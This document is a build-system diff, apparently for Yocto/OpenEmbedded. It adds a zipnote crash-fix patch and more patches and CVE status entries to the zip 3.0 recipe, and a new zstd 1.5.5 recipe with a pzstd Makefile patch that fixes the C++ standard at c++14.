Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
new file mode 100644
index 0000000000..77ade40a04
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
@@ -0,0 +1,22 @@
+Close the correct file descriptor
+
+https://bugs.archlinux.org/task/47713
+
+Signed-off-by: Jate Sujjavanich <jatedev@gmail.com>
+
+Upstream-Status: Inactive-Upstream [no upstream]
+
+diff --git a/zipnote.c b/zipnote.c
+index 5e02cb6..996f012 100644
+--- a/zipnote.c
++++ b/zipnote.c
+@@ -661,7 +661,7 @@ char **argv; /* command line tokens */
+ if ((r = zipcopy(z)) != ZE_OK)
+ ziperr(r, "was copying an entry");
+ }
+- fclose(x);
++ fclose(in_file);
+
+ /* Write central directory and end of central directory with new comments */
+ if ((c = zftello(y)) == (zoff_t)-1) /* get start of central */
+
diff --git a/meta/recipes-extended/zip/zip_3.0.bb b/meta/recipes-extended/zip/zip_3.0.bb
index de779e94aa..70df5ab872 100644
--- a/meta/recipes-extended/zip/zip_3.0.bb
+++ b/meta/recipes-extended/zip/zip_3.0.bb
@@ -1,21 +1,33 @@
SUMMARY = "Compressor/archiver for creating and modifying .zip files"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=04d43c5d70b496c032308106e26ae17d"
-PR = "r2"
S = "${WORKDIR}/zip30"
SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/Zip%203.x%20%28latest%29/3.0/zip30.tar.gz \
- file://fix-security-format.patch"
+ file://fix-security-format.patch \
+ file://10-remove-build-date.patch \
+ file://zipnote-crashes-with-segfault.patch \
+ file://0001-configure-use-correct-CPP.patch \
+ file://0002-configure-support-PIC-code-build.patch \
+ file://0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch \
+ file://0001-configure-Specify-correct-function-signatures-and-de.patch \
+ file://0002-unix.c-Do-not-redefine-DIR-as-FILE.patch \
+ file://0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch \
+ "
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "7b74551e63f8ee6aab6fbc86676c0d37"
SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369"
+CVE_STATUS[CVE-2018-13410] = "disputed: Disputed and also Debian doesn't consider a vulnerability"
+CVE_STATUS[CVE-2018-13684] = "cpe-incorrect: Not for zip but for smart contract implementation for it"
+
# zip.inc sets CFLAGS, but what Makefile actually uses is
# CFLAGS_NOOPT. It will also force -O3 optimization, overriding
# whatever we set.
diff --git a/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch b/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch
new file mode 100644
index 0000000000..847a641691
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch
@@ -0,0 +1,39 @@
+From 121ef5253a49065dea6a89536ca7bd3dabd40e25 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 19 Jun 2023 17:10:09 +0200
+Subject: [PATCH] pzstd: use c++14 without conditions
+
+Doing this check with a direct c++ snippet is prone to portability problems:
+
+- \043 is not portable between shells: dash expands it to #,
+bash does not;
+
+- using # directly works with make 4.3 but does not with make 4.2.
+
+Let's just use the c++ version that covers both the code and the gtest.
+
+Upstream-Status: Submitted [https://github.com/facebook/zstd/pull/3682]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ contrib/pzstd/Makefile | 7 ++-----
+ 1 file changed, 2 insertions(+), 5 deletions(-)
+
+diff --git a/contrib/pzstd/Makefile b/contrib/pzstd/Makefile
+index e62f8e87..58fb82a1 100644
+--- a/contrib/pzstd/Makefile
++++ b/contrib/pzstd/Makefile
+@@ -37,11 +37,8 @@ CFLAGS += -Wno-deprecated-declarations
+ PZSTD_INC = -I$(ZSTDDIR) -I$(ZSTDDIR)/common -I$(PROGDIR) -I.
+ GTEST_INC = -isystem googletest/googletest/include
+
+-# If default C++ version is older than C++11, explicitly set C++11, which is the
+-# minimum required by the code.
+-ifeq ($(shell echo "\043if __cplusplus < 201103L\n\043error\n\043endif" | $(CXX) -x c++ -Werror -c - -o /dev/null 2>/dev/null && echo 1 || echo 0),0)
+-PZSTD_CXX_STD := -std=c++11
+-endif
++# Set the minimum required by gtest
++PZSTD_CXX_STD := -std=c++14
+
+ PZSTD_CPPFLAGS = $(PZSTD_INC)
+ PZSTD_CCXXFLAGS =
diff --git a/meta/recipes-extended/zstd/zstd_1.5.5.bb b/meta/recipes-extended/zstd/zstd_1.5.5.bb
new file mode 100644
index 0000000000..2d72af50a4
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd_1.5.5.bb
@@ -0,0 +1,47 @@
+SUMMARY = "Zstandard - Fast real-time compression algorithm"
+DESCRIPTION = "Zstandard is a fast lossless compression algorithm, targeting \
+real-time compression scenarios at zlib-level and better compression ratios. \
+It's backed by a very fast entropy stage, provided by Huff0 and FSE library."
+HOMEPAGE = "http://www.zstd.net/"
+SECTION = "console/utils"
+
+LICENSE = "BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0822a32f7acdbe013606746641746ee8 \
+ file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0 \
+ "
+
+SRC_URI = "git://github.com/facebook/zstd.git;branch=release;protocol=https \
+ file://0001-pzstd-use-directly-for-the-test-c-snippet.patch"
+
+SRCREV = "63779c798237346c2b245c546c40b72a5a5913fe"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+CVE_PRODUCT = "zstandard"
+
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lz4] = "HAVE_LZ4=1,HAVE_LZ4=0,lz4"
+PACKAGECONFIG[lzma] = "HAVE_LZMA=1,HAVE_LZMA=0,xz"
+PACKAGECONFIG[zlib] = "HAVE_ZLIB=1,HAVE_ZLIB=0,zlib"
+
+# See programs/README.md for how to use this
+ZSTD_LEGACY_SUPPORT ??= "4"
+
+EXTRA_OEMAKE += "V=1"
+
+do_compile () {
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT}
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} -C contrib/pzstd
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}'
+ oe_runmake install 'DESTDIR=${D}' PREFIX=${prefix} -C contrib/pzstd
+}
+
+PACKAGE_BEFORE_PN = "libzstd"
+
+FILES:libzstd = "${libdir}/libzstd${SOLIBS}"
+
+BBCLASSEXTEND = "native nativesdk"